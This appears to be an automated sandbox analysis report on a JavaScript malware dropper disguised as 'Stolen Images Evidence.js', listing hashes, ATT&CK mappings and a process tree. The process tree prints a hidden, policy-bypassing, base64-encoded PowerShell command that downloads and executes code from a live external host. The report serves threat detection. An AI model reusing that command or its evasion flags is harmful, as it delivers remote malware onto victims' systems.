d28f963518923d308071a4d3387be175312b8e649f1fc744ff76321b01deced9

General

Target

Stolen Images Evidence.js
Size

23KB
MD5

86c4c4a86388ab87b8166563fc6080b9
SHA1

a22941692d34245363e1ed75a2e55f9e439f3e2d
SHA256

6961814b2c02d34f6eb8da26d59c3e555763f28680ed67bd7c6b30994dba74d3
SHA512

9005d46de018ce0409a2a8f0bd7afe611636c88e5f503b4d0e22ef72dbec7b0240a3f1c12b6711a07dc839d04225df5f3fcee4db8c68edf4eb8a58a7aef71ebc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://munardis.space/222g100/index.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1736 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
1736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1736 powershell.exe

flow	pid	process
6	1736	powershell.exe

pid	process
1736	powershell.exe
1736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 1116 wrote to memory of 1972	1116	wscript.exe	cmd.exe
PID 1116 wrote to memory of 1972	1116	wscript.exe	cmd.exe
PID 1116 wrote to memory of 1972	1116	wscript.exe	cmd.exe
PID 1972 wrote to memory of 1736	1972	cmd.exe	powershell.exe
PID 1972 wrote to memory of 1736	1972	cmd.exe	powershell.exe
PID 1972 wrote to memory of 1736	1972	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1116-60-0x000007FEFC301000-0x000007FEFC303000-memory.dmp

Filesize
8KB

Download
memory/1736-62-0x0000000000000000-mapping.dmp

Download
memory/1736-64-0x00000000021F0000-0x00000000021F1000-memory.dmp

Filesize
4KB

Download
memory/1736-65-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/1736-66-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1736-67-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/1736-68-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1736-69-0x0000000002340000-0x0000000002341000-memory.dmp

Filesize
4KB

Download
memory/1736-70-0x000000001C410000-0x000000001C411000-memory.dmp

Filesize
4KB

Download
memory/1972-61-0x0000000000000000-mapping.dmp

Download

Analysis

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